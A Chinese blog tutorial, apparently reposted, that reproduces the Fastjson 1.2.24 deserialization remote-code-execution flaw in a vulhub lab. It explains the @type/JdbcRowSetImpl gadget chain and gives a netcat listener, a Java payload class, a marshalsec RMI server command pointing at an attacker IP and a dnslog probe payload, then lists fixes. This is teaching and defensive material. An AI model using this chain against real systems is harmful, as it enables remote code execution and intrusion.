Fastjson反序列化漏洞(1.2.24 RCE)

这篇具有很好参考价值的文章主要介绍了Fastjson反序列化漏洞(1.2.24 RCE)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

(一)Fastjson介绍

1、认识Fastjson

1.1 序列化

1.2  反序列化

1.3 @type 自省 Autotype

(二)漏洞原理

1、比较常用的攻击类

1.1  com.sun.rowset.JdbcRowSetImpl

1.2 com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp

(三)1.2.24 RCE复现

1、vulnhub启动

注意:Linux配置JRE版本

2、攻击机监听(kali)

 3、恶意脚本准备与上传(kali)

1、编译成 class文件

2、启动HTTP服务器

4、LDAP服务启动(kali)

1、借助marshalsec项目,快速开启rmi或ldap服务

2、启动一个RMI服务器,监听9473端口,并制定加载远程类LinuxTouch.class:

5、Burp发送payload

 (四)漏洞原理(JdbcRowSetImpl利用链)

1、set方法

1. 1、setSourceName()

1.2、setAutoCommit()

(五)漏洞挖掘

1、思路

1.1 找到发送JSON序列化数据的接口

1.2  判断是否使用fastjon

(六)修复方案

1、升级JDK

2、升级Fastjson到最新版

3、使用安全产品过滤非法内容

4、更换其它序列化工具


(一)Fastjson介绍


1、认识Fastjson

        Fastjson是一个JSON工具库,它的作用就是把java对象转换为json形式,也可

以用来将 json 转换为 java 对象。

1.1 序列化


        序列化的时候,会调用成员变量的get方法,私有成员变量不会被序列化,注意它不包括类名。
eg:
String text-JSON.toJSONString(obj);//序列化

{name='jinyouxin', age=66, flag=true, sex='boy',address='null'}

1.2  反序列化


        反序列化 的时候, 会调用成员变量的set方法, publibc修饰的成员全部自动赋值。
  • JSON.parseObject
        返回实际类型对象(用得更多),后面接想要反序列的类型, 返回实际类型对象 .

eg:

User user4 = JSON.parseObject( serializedStr, User.class);
  • JSON.parse
        JSON.parse() 返回JsonObject对象
eg:
Object obj1 =JSON.parse(serializedStr);

1.3 @type 自省 Autotype


        引入这个功能的目的是在序列化的时候防止子类中包含接口或抽象类的时候,类型丢失,这样我们在反序列化的时候就不需要再指定类名。

eg:

之前我们序列化对象时: {name='jinyouxin', age=66, flag=true, sex='boy', address='null'}
现在我们引入了自省后为  {" @type ":" com.jinyouxin.test.User ","age":33,"flag":false,"name":"wuya"}
        漏洞在这里就发生了,@type中提供了对对象反序列化的类型定义,我们就可以修改此内容的值。

(二)漏洞原理


        fastjson在对 JSON 字符串进行反序列化的时候,会读取 @type 的内容,试图把 JSON 内容反序列化成这个对象,并且会调用这个类的set方法, 利用这个特性,构造一个 JSON 字符串,并且使 @type 反序列化一个自己想要使用的 攻击类库

1、比较常用的攻击类


1.1  com.sun.rowset.JdbcRowSetImpl

        这是sun 官方提供的一个类库,这个类的 dataSourceName 支持传入一个rmi 的源,当解析这个 uri 的时候,就会支持 rmi远程调用 ,去指定的rmi 地址中去调用方法

Fastjson反序列化漏洞(1.2.24 RCE)

1.2 com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp

原理同上

(三)1.2.24 RCE复现


1、vulnhub启动

  1. cd fastjson/1.2.24-rce
  2. docker-compose build
  3. docker-compose up -d

Fastjson反序列化漏洞(1.2.24 RCE)

 

访问端口:

Fastjson反序列化漏洞(1.2.24 RCE)

 文章来源地址https://www.toymoban.com/news/detail-468996.html

注意:Linux配置JRE版本

vim /etc/profile
export
JAVA_HOME=/usr/local/soft/java/jdk1.8.0_74
export PATH=$JAVA_HOME/bin:$PATH
export
CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HO
ME/lib/tools.jar
source /etc/profile

2、攻击机监听(kali)


nc -lvp 9001

Fastjson反序列化漏洞(1.2.24 RCE)

之前在Redis未授权漏洞介绍过反弹连接,在这里就是启动此环境

 3、恶意脚本准备与上传(kali)


1、编译成 class文件

编译恶意代码,通过javac LinuxRevers 编译成class文件,将编译好的class上传至你的web服务器,地址为http://yours_ip/exp/LinuxTouch.class

public class LinuxTouch {
    public LinuxTouch(){
        try{
            Runtime.getRuntime().exec("touch /tmp/fast-success.txt");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        LinuxTouch e = new LinuxTouch();
    }
}

        仔细阅读代码不难发现,只要下载代码,里面有main方法,就要执行恶意代码,攻击执行

2、启动HTTP服务器


  • python -m http.server 8089                                py3
  • python –m SimpleHTTPServer 8088                 py2

        启动http服务的目的是给LinuxTouch.class提供下载,假如我们在浏览器直接输入url时,它就会自动下载.class文件。

Fastjson反序列化漏洞(1.2.24 RCE)

4、LDAP服务启动(kali)


1、借助marshalsec项目,快速开启rmi或ldap服务

git clone https://github.com/mbechler/marshalsec #下载marshalsec
apt install maven #下载maven,使用maven进行编译jar包
cd marshalsec mvn clean package ‐DskipTests

2、启动一个RMI服务器,监听9473端口,并制定加载远程类LinuxTouch.class:

        我们可以把它理解为中介,如果有人访问9473端口的话,就让这个人访问LinuxTouch.class,把它自动下载到本地。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.142.132:8089/#LinuxTouch" 9473

Fastjson反序列化漏洞(1.2.24 RCE)

 

5、Burp发送payload


        

Fastjson反序列化漏洞(1.2.24 RCE)

        我们先用POST访问 8090 的端口,本网页可以接收序列化和反序列化的接口,它就拿到下面的内容进行反序列化,@type 具有自醒的功能,在反序列化的过程中,它会连接到本机已经在kali里面已经启动好的RMI的服务,RMI让它去访问下载LinuxTouch.class文件,这样攻击就发生了。

 

Fastjson反序列化漏洞(1.2.24 RCE)

 (四)漏洞原理(JdbcRowSetImpl利用链)


        经过上面的漏洞复现,我们大致可以理解漏洞执行的过程,接下来就要具体分析里面方法是怎么 "connect"

1、set方法

        我们想要把二个属性 dataSourceName 和 autoCommit 反序列化成JdbcRowSetImpl类,要调用setDataSourceName()和setAutoCommit()的方法。

1. 1、setSourceName()

Fastjson反序列化漏洞(1.2.24 RCE)

         给数据源的名字进行赋值。

1.2、setAutoCommit()

Fastjson反序列化漏洞(1.2.24 RCE)

connect()的方法就危险!!!

Fastjson反序列化漏洞(1.2.24 RCE)

         JNDI一旦调用lookup()方法,就会连接到LDAP/RMI服务器,下载恶意代码到本地,执行,攻击发生.

(五)漏洞挖掘


1、思路

1.1 找到发送JSON序列化数据的接口

1.2  判断是否使用fastjon

  • 1)非法格式报错
{"x":"

 

Fastjson反序列化漏洞(1.2.24 RCE)

  • 2)使用dnslog探测
{"x":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}

(六)修复方案


1、升级JDK

Fastjson反序列化漏洞(1.2.24 RCE)

 

6u211 / 7u201 / 8u191 /11.0.1

2、升级Fastjson到最新版

fastjson.parser.safeMode=true

3、使用安全产品过滤非法内容

4、更换其它序列化工具

Jackson/Gson

到了这里,关于Fastjson反序列化漏洞(1.2.24 RCE)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • FastJson中AutoType反序列化漏洞

    Fastjson1.2.80 反序列化漏洞情报,攻击者可以利用该漏洞攻击远程服务器, 可能会造成任意命令执行。在Fastjson=1.2.83的版本中,通过新的Gadgets链绕过autoType开关,在autoType关闭的情况下仍然可能可以绕过黑白名单防御机制,实现了反序列化漏洞利用的远程代码执行效果,同时,此

    2024年02月07日
    浏览(42)
  • Fastjson反序列化远程代码执行漏洞

    据国家网络与信息安全信息通报中心监测发现,开源Java开发组件Fastjson存在反序列化远程代码执行漏洞。攻击者可利用上述漏洞实施任意文件写入、服务端请求伪造等攻击行为,造成服务器权限被窃取、敏感信息泄漏等严重影响。 先贴一个解决漏洞的方案: 不过任何升级一

    2024年02月09日
    浏览(42)
  • Hessian 反序列化RCE漏洞复现

         Hessian是二进制的web service协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web service方式的远程方法调用,区别是Hessian是二进制协议,Axis、XFire则是SOAP协议,所以从性能上说Hessian远优于后两者,并且Hessian的JAVA使用方法非

    2024年02月11日
    浏览(34)
  • 【java安全】FastJson反序列化漏洞浅析

    0x00.前言 前面我们学习了RMI和JNDI知识,接下来我们就可以来了解一下FastJson反序列化了 0x01.FastJson概述 FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持 将JavaBean序列化为JSON字符串,也可以将JSON字符串反序列化到JavaBean 0x02.FastJson使用 首先我们需要使用

    2024年02月11日
    浏览(45)
  • 渗透测试-Fastjson反序列化漏洞getshell

    目录 前言 测试环境准备 dnslog测试 搭建rmi服务器准备恶意类 引用JdbcRowSetImpl攻击 反弹shell$命令执行 总结 :fastjson 1.2.24反序列化导致任意命令执行漏洞 注:本次渗透测试全在虚拟机中进行仅用于学习交流,请勿在实际网络中攻击他人服务器。 前言         最原始

    2024年02月07日
    浏览(54)
  • fastJson反序列化漏洞和log4j漏洞

    有 attach.class (编译好的文件) 攻击者建立rmi服务端,于rmi服务端建造一系列攻击对象 ,假设远程地址为 http://abc,可url链接到恶意class-attach.class 若被攻击者访问到此服务 rmi://abc/attach.class ,静态代码块会优先加载,无需构造对象。 fastJson通过序列化漏洞 fastJson=1.2.47 (高版本添

    2024年02月16日
    浏览(50)
  • Kafka反序列化RCE漏洞(CVE-2023-34040)

    Spring Kafka 是 Spring Framework 生态系统中的一个模块,用于简化在 Spring 应用程序中集成 Apache Kafka 的过程,记录 (record) 指 Kafka 消息中的一条记录。 受影响版本中默认未对记录配置  ErrorHandlingDeserializer ,当用户将容器属性  checkDeserExWhenKeyNull  或  checkDeserExWhenValueNull  设置为

    2024年02月06日
    浏览(34)
  • 网络安全-JDBC反序列化漏洞与RCE

    ubuntu 20:ip 10.28.144.100,安装docker、python3、docker-compose(可选)、Java(可选) windows11:ip 10.28.144.10,安装了Java、wireshark、Navicat(可选)、IDEA(可选) Java中这些magic方法在反序列化的时候会自动调用: readObject() readExternal() readResolve() readObjectNoData() validateObject() finalize() Java

    2024年02月10日
    浏览(32)
  • ​金蝶云星空管理中心反序列化RCE漏洞复现 附POC

    免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!ÿ

    2024年02月07日
    浏览(100)
  • QVD-2023-19300:致远M1 usertokenservice反序列化RCE漏洞复现

    免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,

    2024年02月07日
    浏览(115)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包